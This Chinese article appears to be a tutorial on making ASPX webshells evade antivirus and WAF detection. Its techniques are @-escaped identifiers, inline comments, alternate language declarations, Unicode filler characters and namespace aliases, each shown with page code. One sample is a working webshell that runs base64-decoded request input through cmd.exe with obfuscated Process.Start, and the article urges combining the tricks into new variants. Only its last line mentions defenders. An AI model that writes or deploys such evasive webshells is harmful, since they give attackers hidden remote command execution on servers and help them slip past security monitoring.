.NET WebShell 免杀系列之特殊技巧
字数 897 2025-08-06 20:12:38
.NET WebShell 免杀系列之特殊技巧详解
0X01 背景
本文是.NET WebShell绕过和免杀方法系列的第二季,重点介绍几种特殊的免杀和绕过技巧,包括符号利用、语言特性和别名使用等方法。
0X02 符号利用技巧
2.1 逐字标识符@符号
@符号在.NET字符串中有特殊意义:
- 放在字符串前表示逐字字符串,无需转义符
- 无法在字符串中插入有效换行符(\n)或制表符(\t)
- 可以转义.NET平台保留的关键词(Class、NameSpace、int等)
应用示例:
// 常规路径表示
string filepath = "C:\\Program Files\\wmplayer.exe";
// 使用@符号表示
string filepath = @"C:\Program Files\wmplayer.exe";
// 关键词转义示例
namespace @namespace {
class @class {
public static void @static(int @int) {
if(@int > 0) {
System.Console.WriteLine("Positive Integer");
}
}
}
}
免杀利用:
在Process类完整命名空间的每个点之间添加@符:
<script runat="server" language="c#">
public void Page_load(){
@System.@Diagnostics.@Process.@Start("cmd.exe", "/c mstsc");
}
</script>
2.2 内联注释符
.NET支持使用/**/内联注释符,可以注释掉两个*号之间的内容。
免杀利用:
在类完全限定名的每个点之间添加内联注释:
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true" %>
<script runat="server">
public void Page_load() {
System/**/.Diagnostics./**/Process/**/.Start("cmd.exe", "/c calc");
}
</script>
0X03 语言特性利用
3.1 指定托管语言为C
常规ASPX页面声明:
<%@ Page Title="About" Language="C#" AutoEventWireup="true" CodeBehind="About.aspx.cs" Inherits="WebApplication1.About" %>
3.2 指定托管语言为csharp
使用language="csharp"声明:
<script runat="server" language="csharp">
public void Page_load() {
if(!string.IsNullOrEmpty(Request["content"])) {
var content = Encoding.GetEncoding("utf-8").GetString(Convert.FromBase64String(Request["content"]));
System.Diagnostics.Pro\U0000FFFAcess.Star\uFFFAt("cmd.exe", "/c " + content);
}
}
</script>
3.3 指定托管语言为cs
.NET编译器支持language="cs"的简略写法,可绕过部分WAF检测:
<%@ Page Language="cs" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true" %>
<script runat="server" language="cs">
public void Page_load(){
System.Diagnostics.Process.Start("cmd.exe", "/c calc");
}
</script>
原理分析:
- .Net编译器通过
Microsoft.CSharp.CSharpCodeProvider类实现C#代码编译 System.CodeDom.Compiler.CodeDomProvider类的GetCompilerInfoForLanguageNoThrow方法从配置文件中获取语言类型编译选项- 微软官方预设定义了三种语言类型:"C#;cs;csharp"
0X04 using别名技巧
4.1 常规using用法
using System;
using System.Data;
4.2 资源管理用法
using (SqlDataAdapter sqa = new SqlDataAdapter(sql, sc)) {
sqa.SelectCommand.CommandTimeout = executeTimeOut;
sqa.Fill(dtRet);
return dtRet;
}
4.3 别名免杀利用
在ASPX页面中,using变为Import关键词:
<%@ Import Namespace="dotNet=@System.@Diagnostics.@Process" %>
<script runat="server" language="c#">
public void Page_load(){
dotNet.Start("cmd.exe","/c calc");
}
</script>
0X05 总结
本文详细介绍了.NET WebShell的多种免杀技巧:
- 符号利用:@符号和内联注释符的特殊用法
- 语言特性:不同语言声明方式的差异利用
- 别名技巧:using别名的创造性应用
这些技巧可以组合使用,创造出更多变种来绕过安全检测。防御方需要深入了解这些特性,才能有效防御此类攻击。